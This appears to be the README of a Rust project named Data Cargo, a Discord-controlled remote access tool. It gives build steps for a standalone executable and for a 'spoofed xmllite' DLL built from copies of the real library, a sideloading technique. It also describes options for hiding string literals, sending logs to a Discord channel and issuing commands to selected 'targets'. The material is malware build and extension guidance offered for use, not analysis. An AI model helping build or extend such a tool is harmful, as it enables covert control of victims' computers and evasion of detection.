New rewritten version of the old Data Cargo project made on demand.
To configure the build options change content of files located in: "options/"
.
- key: encryption key used to hide the string literals
- out_channel_id: id of the discord channel where logs will be send
- owner: id of the discord user that can execute DataCargo commands
- token: the discord bot token
This crate provides 2 ways of compiling.
To build the executable run the command:
cargo build --package data-cargo-22 --bin data-cargo-22 --release
To build the spoofed xmllite library:
Make sure the desired versions of the original xmllite library are located in "xmllite/bin/"
and
their prefixes match the specific architecture.
(_32
= 32 bit) (_64
= 64 bit)
If everything is correct, run command:
cargo build --package xmllite --release
To build for 32 bit architecture add --target i686-pc-windows-msvc
at the end of the command.
only the Selector and Test commands are implemented.
The first one is used to select the desired target on which the commands will be executed.
Example: s UUID-11111111-2222-3333-4444-555555555555
The second one is used to test if the selected target is responsive
Example: test
To add new commands, modify message()
function in the handler.rs
file and/or you can use imported CommandEngine functionality.
(see engine.rs
in the "(...)/utils/"
directory).